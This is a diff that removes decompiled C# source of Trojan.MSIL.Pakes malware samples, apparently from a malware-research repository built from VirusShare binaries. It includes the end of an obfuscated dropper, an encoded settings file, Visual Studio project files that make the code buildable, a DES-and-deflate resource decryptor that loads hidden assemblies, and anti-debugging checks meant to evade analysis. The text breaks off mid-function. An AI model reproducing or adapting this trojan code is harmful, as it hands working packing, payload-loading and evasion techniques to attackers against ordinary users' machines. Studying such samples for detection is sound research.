this.Lxgfsgrr422iev50zpilaz3ak = Environment.GetEnvironmentVariable(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("wniidr")) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\irsf.E\\rmwr\\20577vceeMcootNTFaeokv..02\\b.x");
break;
}
this.Lxgfsgrr422iev50zpilaz3ak = Environment.GetEnvironmentVariable(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("wniidr")) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\irsf.E\\rmwr6\\20577vceeMcootNTFaeok4v..02\\b.x");
break;
}
catch (Exception ex)
{
break;
}
case "1":
this.Lxgfsgrr422iev50zpilaz3ak = Environment.GetEnvironmentVariable(Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("wniidr")) + Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("\\irsf.E\\rmwr\\20577cceeMcootNTFaeokv..02\\s.x");
break;
}
}
public void Evy400eoewmfjgdmkciakhlr2()
{
string executablePath = Application.ExecutablePath;
try
{
this.Wqpazmxrqahxd4jpxt1ljoit5(Oywqlt2t1qhfwywyazfarq5uy.ccjzgmmms5tybgc4c1wrlnawp(this.el0vk4wz3hihgwhvt(executablePath, 49, Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("KF40SPBQ5OCGIUE0S"))));
this.Rbwyqsmkdhrmhczlk = this.el0vk4wz3hihgwhvt(executablePath, 26, Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.k32g0xj5z4a4rs15j("P3NAQLAMNXB1GMGWZQC23HH4J"));
this.Rbwyqsmkdhrmhczlk = this.cxvbqzcylgljw2ndm0bdhgwftivsekccv(this.Rbwyqsmkdhrmhczlk);
if (this.Gpjbl0owmilci2v2y51gtvz1t)
this.sgpktjt3q2gogaorzrb1u1n2m(this.Rbwyqsmkdhrmhczlk);
if (!this.E4kje5e2joh4bwy3g3bw02an0jh43b1oy)
return;
this.Tzp4t312rv1mimn5dljldvzoo(this.Rbwyqsmkdhrmhczlk, this.Ysrflisiioq45pa22ybvinbay, true);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
private static void Main(string[] args) => new calbufxxjdqqg2hmd().Evy400eoewmfjgdmkciakhlr2();
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Settings.xml
-1
View File
@@ -1 +0,0 @@
½¾ùìí¡÷äóòèîï¼£°¯±£¾¿Œ‹½ÑóîõäâõèîïÒõôã×àíôäò¿Œ‹¡¡½Åäíèìèõäóò¿Œ‹¡¡¡¡½ÒõôãÅäíèì¿é³±òöµåñêãæòµù÷éíµàìñíµùé½®ÒõôãÅäíè쿌‹¡¡¡¡½ÌäòòàæäÅäíèì¿íµóàó³àïãäì³ûàø²íûô²æéñï²òಱïæñï½®ÌäòòàæäÅäíè쿌‹¡¡¡¡½ÀíæîÅäíèì¿Æéûè´å°æ°îõä´ùóéè½®ÀíæîÅäíè쿌‹¡¡¡¡½ìèòâäííàïäîôòÅäíèì¿õñ³ððâòéæùùòéêåöµ°éåûîçôä½®ìèòâäííàïäîôòÅäíè쿌‹¡¡¡¡½öäãÆäõÅäíèì¿ïùäõæñðâéçëùùîùï²½®öäãÆäõÅäíè쿌‹¡¡¡¡½ÃîôïåÇèíäÅäíèì¿í³àìåê±âóé³ñç´´ïò½®ÃîôïåÇèíäÅäíè쿌‹¡¡¡¡½ÏäöÃîôïåÇèíäÅäíèì¿ûçæ±²çàè÷ç³´õãò°÷½®ÏäöÃîôïåÇèíäÅäíè쿌‹¡¡½®Åäíèìèõäóò¿Œ‹¡¡½Óäòîôóâäò¿Œ‹¡¡¡¡½ÓäòîôóâäÕøñ俌‹¡¡¡¡¡¡½ÒäõõèïæòÕøñä¿ÊÎǵƱÈÒÔÑÄñÐÒ´½®ÒäõõèïæòÕøñ俌‹¡¡¡¡¡¡½ÅàõàÕøñä¿Ñ̲ÆÏÖÀÛÐÐÍÂÀ³Ì²ÏÉÙÉõ°Ëƽ®ÅàõàÕøñ俌‹¡¡¡¡¡¡½ÃèïåäóÕøñä¿ÅÙÆÖÔØÊÃÃÙÃÂÔÕÑÅѽ®ÃèïåäóÕøñ俌‹¡¡¡¡½®ÓäòîôóâäÕøñ俌‹¡¡¡¡½ÓäòîôóâäÈÅ¿Œ‹¡¡¡¡¡¡½ÒäõõèïæòÈÅ¿µ¸½®ÒäõõèïæòÈÅ¿Œ‹¡¡¡¡¡¡½ÅàõàÈÅ¿³·½®ÅàõàÈÅ¿Œ‹¡¡¡¡¡¡½ÃèïåäóÈÅ¿°½®ÃèïåäóÈÅ¿Œ‹¡¡¡¡½®ÓäòîôóâäÈÅ¿Œ‹¡¡½®Óäòîôóâäò¿Œ‹¡¡½Óäìî÷äÂîå俌‹¡¡¡¡½ÌäòòàæäÃîù¿Çàíòä½®ÌäòòàæäÃîù¿Œ‹¡¡¡¡½Òõàóõôñ¿Çàíòä½®Òõàóõôñ¿Œ‹¡¡¡¡½Ãèïåäó¿Çàíòä½®Ãèïåä󿌋¡¡¡¡½Âîìñóäòòèîï¿Çàíòä½®Âîìñóäòòèîￌ‹¡¡¡¡½ÖäãÆäõ¿Çàíòä½®ÖäãÆäõ¿Œ‹¡¡½®Óäìî÷äÂîå俌‹¡¡½ÕóàïòçäóÕøñ俌‹¡¡¡¡½Óäòîôóâä¿Õóôä½®Óäòîôóâ俌‹¡¡½®ÕóàïòçäóÕøñ俌‹¡¡½ÓôïÑÄÌèòòèï濌‹¡¡¡¡½ÌèòòèïæÑÄ¿Çàíòä½®ÌèòòèïæÑÄ¿Œ‹¡¡¡¡½ÒõôãÄïâóøñõèîￌ‹¡¡¡¡¡¡½äïâóøñõèîïÔòäå¿Óµ½®äïâóøñõèîïÔòä忌‹¡¡¡¡¡¡½àííÄïâóøñõèîïò¿Çàíòä½®àííÄïâóøñõèîïò¿Œ‹¡¡¡¡½®ÒõôãÄïâóøñõèîￌ‹¡¡½®ÓôïÑÄÌèòòèï濌‹½®ÑóîõäâõèîïÒõôã×àíôäò¿
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.csproj
-46
View File
@@ -1,46 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!--Project was exported from assembly: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335.exe-->
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{B19A1D7C-79E0-4A6E-90AA-5DFC0BE71D0E}</ProjectGuid>
<OutputType>WinExe</OutputType>
<AssemblyName>k5xkdoui</AssemblyName>
<ApplicationVersion>1.0.0.0</ApplicationVersion>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Windows.Forms" />
</ItemGroup>
<ItemGroup>
<Compile Include="Isu3zna5bkhldsr5odxeh1vqs1xpxoutm.cs" />
<Compile Include="Oywqlt2t1qhfwywyazfarq5uy.cs" />
<Compile Include="Uckd53gyd1mktkszq\W4ytuf0iqrlf3g3zj.cs" />
<Compile Include="Sdq242yforpurdmn1igrgoxgfi0kiiw33\calbufxxjdqqg2hmd.cs" />
<Compile Include="AssemblyInfo.cs" />
</ItemGroup>
<ItemGroup>
<EmbeddedResource Include="Settings.xml" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
</Project>
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Trojan.MSIL.Pakes.cs.sln
-20
View File
@@ -1,20 +0,0 @@
Microsoft Visual Studio Solution File, Format Version 9.00
# Visual Studio 2005
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "k5xkdoui", "Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335.csproj", "{B19A1D7C-79E0-4A6E-90AA-5DFC0BE71D0E}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{B19A1D7C-79E0-4A6E-90AA-5DFC0BE71D0E}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
{B19A1D7C-79E0-4A6E-90AA-5DFC0BE71D0E}.Debug|Any CPU.Build.0 = Debug|Any CPU
{B19A1D7C-79E0-4A6E-90AA-5DFC0BE71D0E}.Release|Any CPU.ActiveCfg = Release|Any CPU
{B19A1D7C-79E0-4A6E-90AA-5DFC0BE71D0E}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335/Uckd53gyd1mktkszq/W4ytuf0iqrlf3g3zj.cs
-26
View File
@@ -1,26 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: Uckd53gyd1mktkszq.W4ytuf0iqrlf3g3zj
// Assembly: k5xkdoui, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 4CD3E51E-5608-4BA4-B66B-04206D6A26CE
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Pakes.cs-37cd70e587eb1be5e97c2131880d030c32b02d02e1db6caf24f5eca693e9b335.exe
using System;
using System.Runtime.InteropServices;
namespace Uckd53gyd1mktkszq
{
public class W4ytuf0iqrlf3g3zj
{
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr U4ahdus33bqrr3xyza2g5z4kafxio11rc(string lpModuleName);
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
public static extern IntPtr Kfmfyffydmg552qml(IntPtr hModule, int lpID, string lpType);
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
public static extern IntPtr Mcl3unsafxasl1ryb(IntPtr hModule, IntPtr hResInfo);
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
public static extern uint Ztwvqitdih0ihxfum(IntPtr hModule, IntPtr hResInfo);
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/Token2000015.cs
-12
View File
@@ -1,12 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.Token2000015
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
namespace A
{
internal class Token2000015 : \u0024Unresolved\u0024Token\u003A1003FFF
{
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c0fd6042cf6163af5c5647fc1f5915949.cs
-48
View File
@@ -1,48 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.c0fd6042cf6163af5c5647fc1f5915949
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System;
using System.Reflection;
namespace A
{
internal class c0fd6042cf6163af5c5647fc1f5915949
{
private static readonly Assembly c818b792b82bad718aa242da7662f956c;
static c0fd6042cf6163af5c5647fc1f5915949()
{
if ((object) c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c != null)
return;
Assembly executingAssembly = Assembly.GetExecutingAssembly();
string name = executingAssembly.GetName().Name;
foreach (string manifestResourceName in executingAssembly.GetManifestResourceNames())
{
if (name == manifestResourceName)
{
c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c = Assembly.Load(cd7d39555ed815bdbdf6dbdcced0251b4.cacebd254633b7d2e2214cba5e36683c9(executingAssembly.GetManifestResourceStream(name)));
break;
}
}
}
internal static void c28f34ae17bcce30786fdac6c263b6e52() => AppDomain.CurrentDomain.ResourceResolve += new ResolveEventHandler(c0fd6042cf6163af5c5647fc1f5915949.cc85d2cf9ab23bf5734d9b5a8f459fca7);
private static Assembly cc85d2cf9ab23bf5734d9b5a8f459fca7(
object cc44c10fe8d62da34eeccc69816e33888,
ResolveEventArgs c887af87eabb326bcc2391ea75a0aae92)
{
if ((object) c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c == null)
return c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c;
foreach (string manifestResourceName in c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c.GetManifestResourceNames())
{
if (manifestResourceName == c887af87eabb326bcc2391ea75a0aae92.Name)
return c0fd6042cf6163af5c5647fc1f5915949.c818b792b82bad718aa242da7662f956c;
}
return (Assembly) null;
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/c20d0cffccd6dc5adbb96a36882476ba1.cs
-45
View File
@@ -1,45 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.c20d0cffccd6dc5adbb96a36882476ba1
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System.Reflection;
using System.Text;
namespace A
{
internal class c20d0cffccd6dc5adbb96a36882476ba1
{
internal static readonly byte[] ce6c6c6083810d3d9abd1caa7d65623c0;
static c20d0cffccd6dc5adbb96a36882476ba1()
{
if (c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0 != null)
return;
Assembly executingAssembly = Assembly.GetExecutingAssembly();
c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0 = cd7d39555ed815bdbdf6dbdcced0251b4.cacebd254633b7d2e2214cba5e36683c9(executingAssembly.GetManifestResourceStream(executingAssembly.GetName().Name + executingAssembly.GetName().Name));
}
internal static string c61fe7668f61d28eef79481c480f2dd83(int c110daed218f9cfb5f06f7041c96bfaed)
{
int count;
if (((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & 128) == 0)
{
count = (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed];
++c110daed218f9cfb5f06f7041c96bfaed;
}
else if (((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & 64) == 0)
{
count = ((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & -129) << 8 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 1];
c110daed218f9cfb5f06f7041c96bfaed += 2;
}
else
{
count = ((int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed] & -193) << 24 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 1] << 16 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 2] << 8 | (int) c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0[c110daed218f9cfb5f06f7041c96bfaed + 3];
c110daed218f9cfb5f06f7041c96bfaed += 4;
}
return count < 1 ? string.Empty : string.Intern(Encoding.Unicode.GetString(c20d0cffccd6dc5adbb96a36882476ba1.ce6c6c6083810d3d9abd1caa7d65623c0, c110daed218f9cfb5f06f7041c96bfaed, count));
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/cd7d39555ed815bdbdf6dbdcced0251b4.cs
-71
View File
@@ -1,71 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.cd7d39555ed815bdbdf6dbdcced0251b4
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System;
using System.IO;
using System.IO.Compression;
using System.Reflection;
using System.Security.Cryptography;
namespace A
{
internal class cd7d39555ed815bdbdf6dbdcced0251b4
{
internal static byte[] cacebd254633b7d2e2214cba5e36683c9(
Stream c402977331e6b2a05cd4477a9e61e3145)
{
byte num1 = (byte) c402977331e6b2a05cd4477a9e61e3145.ReadByte();
byte[] numArray = new byte[c402977331e6b2a05cd4477a9e61e3145.Length - 1L];
c402977331e6b2a05cd4477a9e61e3145.Read(numArray, 0, numArray.Length);
if (((int) num1 & 1) != 0)
{
DESCryptoServiceProvider cryptoServiceProvider = new DESCryptoServiceProvider();
byte[] dst1 = new byte[8];
Buffer.BlockCopy((Array) numArray, 0, (Array) dst1, 0, 8);
cryptoServiceProvider.IV = dst1;
byte[] dst2 = new byte[8];
Buffer.BlockCopy((Array) numArray, 8, (Array) dst2, 0, 8);
bool flag = true;
foreach (byte num2 in dst2)
{
if (num2 != (byte) 0)
{
flag = false;
break;
}
}
if (flag)
dst2 = Assembly.GetExecutingAssembly().GetName().GetPublicKeyToken();
cryptoServiceProvider.Key = dst2;
numArray = cryptoServiceProvider.CreateDecryptor().TransformFinalBlock(numArray, 16, numArray.Length - 16);
}
if (((int) num1 & 2) != 0)
{
try
{
MemoryStream memoryStream1 = new MemoryStream(numArray);
DeflateStream deflateStream = new DeflateStream((Stream) memoryStream1, CompressionMode.Decompress);
MemoryStream memoryStream2 = new MemoryStream((int) memoryStream1.Length * 2);
int count1 = 1000;
byte[] buffer = new byte[count1];
int count2;
do
{
count2 = deflateStream.Read(buffer, 0, count1);
if (count2 > 0)
memoryStream2.Write(buffer, 0, count2);
}
while (count2 >= count1);
numArray = memoryStream2.ToArray();
}
catch (Exception ex)
{
}
}
return numArray;
}
}
}
MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926/A/ceb562aff020f9bdc8cc736dbc668c704.cs
-214
View File
@@ -1,214 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: A.ceb562aff020f9bdc8cc736dbc668c704
// Assembly: net, Version=15.4.3508.1109, Culture=neutral, PublicKeyToken=null
// MVID: A137FCB5-FE00-42D4-8178-C1BBFD9418C8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Pakes.cx-23a264c6feb6b4bc57f469957ada226bb861d6f4ace142613d18e30195c1e926.exe
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Text;
namespace A
{
internal class ceb562aff020f9bdc8cc736dbc668c704
{
internal const uint c066f8711717b87d38c4a9103e7dbea5b = 1024;
internal const uint c488956b5828142c2e7c5e8821660a964 = 64;
internal const int c61ba3da3bea6c2867438e66b5813f0d7 = 0;
private static bool cd08b6913616190e206f4653abfe4c13e;
[DllImport("kernel32.dll", EntryPoint = "SetLastError")]
internal static extern void c0676962e0649cbdb8ae8c4337990302c(
uint c6964270963ef7da22326e535facd46c8);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle")]
internal static extern int c3f2eb907e58467139d9d7c565f97b5c8(
IntPtr c8c105f696a33c072205ff134d0726572);
[DllImport("kernel32.dll", EntryPoint = "OpenProcess")]
internal static extern IntPtr cb338d97a6baae5e715afb05a673da81f(
uint ccab06cd7fe59da4da68c8bfa7b2cec67,
int c0b903dc06a5c28b352cbfa6c36437ee2,
uint c83f36fa9fa853b61aa49dbab722cd20d);
[DllImport("kernel32.dll", EntryPoint = "GetCurrentProcessId")]
internal static extern uint cb1c67b6eb446e387906e5a93c9a2b4be();
[DllImport("kernel32.dll", EntryPoint = "LoadLibrary", CharSet = CharSet.Auto, SetLastError = true)]
internal static extern IntPtr c1b4be0c070d3616c411140bb09e288dd(
string c5f0a3445df70e2b534aaa5b2ddb1c4b1);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c5ff774e5036915d82eeb091b6b7eebd6 c5a1af2f891c0990b0298345911aa3591(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c1bfadde2f39160a496a3859a2401f5bb c5a70c42de15da4ad313789dc1597eea3(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c41da53a9c8625ef1d14b48682a202b3a c98a759ac92d0b565f9f48afda23e1723(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c07dcf2cc710c7c71e01e7e4ed00c5e8e c43e22ee8c8a7a09db86d8db5ddd0f855(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.ce9d23df5088eb792e07fccc9b8b94e24 ce3d245161b5a06126d87f6282b8356f9(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
[DllImport("kernel32.dll", EntryPoint = "GetProcAddress", CharSet = CharSet.Ansi)]
internal static extern ceb562aff020f9bdc8cc736dbc668c704.c39b9bfa0531c9fc0feb455cf2b9c8f5d c956e4bd23d5474745a70886e9f4eb07b(
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65,
string caf2d6475a575392b02e916ed8a64d9b0);
private static int ca8cdfc7e7fa635b7407e9fd3fd606a3d(
IntPtr cda56902428e130688e9023887f63aa89,
IntPtr cb82313bfae859cc453cb3a21eeee8786)
{
string[] strArray = new string[1]
{
c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(876)
};
string strA = ceb562aff020f9bdc8cc736dbc668c704.ca7f03f2ec2d6322b8aebf9260db20acd(cda56902428e130688e9023887f63aa89);
foreach (string strB in strArray)
{
if (string.Compare(strA, strB, true) == 0)
{
ceb562aff020f9bdc8cc736dbc668c704.cd08b6913616190e206f4653abfe4c13e = true;
return 0;
}
}
return 1;
}
[DllImport("user32.dll", EntryPoint = "GetClassName", CharSet = CharSet.Auto)]
internal static extern int c435a281356280556f77acbe71d1edd25(
IntPtr c903527eacfed62f7e16e20f281158475,
StringBuilder cf692e159f483fc085e96597474010a02,
int c33dbd37fed0f88a42198423edbf25d17);
internal static string ca7f03f2ec2d6322b8aebf9260db20acd(
IntPtr c3bb808dafcf1c96b84553e41523cee39)
{
StringBuilder cf692e159f483fc085e96597474010a02 = new StringBuilder(260);
ceb562aff020f9bdc8cc736dbc668c704.c435a281356280556f77acbe71d1edd25(c3bb808dafcf1c96b84553e41523cee39, cf692e159f483fc085e96597474010a02, cf692e159f483fc085e96597474010a02.Capacity);
return cf692e159f483fc085e96597474010a02.ToString();
}
internal static void c46986238c6721588f7dd03501b3a2d53()
{
if (ceb562aff020f9bdc8cc736dbc668c704.c836a422677732016ee03dd6b7b187cd3())
throw new Exception(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(891));
}
internal static bool c836a422677732016ee03dd6b7b187cd3()
{
try
{
if (Debugger.IsAttached)
return true;
IntPtr c40f16b134ad4a96bd5acc5e5f0c40b65 = ceb562aff020f9bdc8cc736dbc668c704.c1b4be0c070d3616c411140bb09e288dd(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1047));
ceb562aff020f9bdc8cc736dbc668c704.c07dcf2cc710c7c71e01e7e4ed00c5e8e c07dcf2cc710c7c71e01e7e4ed00c5e8e = ceb562aff020f9bdc8cc736dbc668c704.c43e22ee8c8a7a09db86d8db5ddd0f855(c40f16b134ad4a96bd5acc5e5f0c40b65, c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1072));
if (c07dcf2cc710c7c71e01e7e4ed00c5e8e != null && c07dcf2cc710c7c71e01e7e4ed00c5e8e() != 0)
return true;
IntPtr num1 = ceb562aff020f9bdc8cc736dbc668c704.cb338d97a6baae5e715afb05a673da81f(1024U, 0, ceb562aff020f9bdc8cc736dbc668c704.cb1c67b6eb446e387906e5a93c9a2b4be());
if (num1 != IntPtr.Zero)
{
try
{
ceb562aff020f9bdc8cc736dbc668c704.c41da53a9c8625ef1d14b48682a202b3a c41da53a9c8625ef1d14b48682a202b3a = ceb562aff020f9bdc8cc736dbc668c704.c98a759ac92d0b565f9f48afda23e1723(c40f16b134ad4a96bd5acc5e5f0c40b65, c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1107));
if (c41da53a9c8625ef1d14b48682a202b3a != null)
{
int pbDebuggerPresent = 0;
if (c41da53a9c8625ef1d14b48682a202b3a(num1, ref pbDebuggerPresent) != 0)
{
if (pbDebuggerPresent != 0)
return true;
}
}
}
finally
{
ceb562aff020f9bdc8cc736dbc668c704.c3f2eb907e58467139d9d7c565f97b5c8(num1);
}
}
bool flag = false;
try
{
ceb562aff020f9bdc8cc736dbc668c704.c3f2eb907e58467139d9d7c565f97b5c8(new IntPtr(305419896));
}
catch
{
flag = true;
}
if (flag)
return true;
try
{
ceb562aff020f9bdc8cc736dbc668c704.c39b9bfa0531c9fc0feb455cf2b9c8f5d c39b9bfa0531c9fc0feb455cf2b9c8f5d = ceb562aff020f9bdc8cc736dbc668c704.c956e4bd23d5474745a70886e9f4eb07b(ceb562aff020f9bdc8cc736dbc668c704.c1b4be0c070d3616c411140bb09e288dd(c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1160)), c20d0cffccd6dc5adbb96a36882476ba1.c61fe7668f61d28eef79481c480f2dd83(1181));
if (c39b9bfa0531c9fc0feb455cf2b9c8f5d != null)
{
ceb562aff020f9bdc8cc736dbc668c704.cd08b6913616190e206f4653abfe4c13e = false;
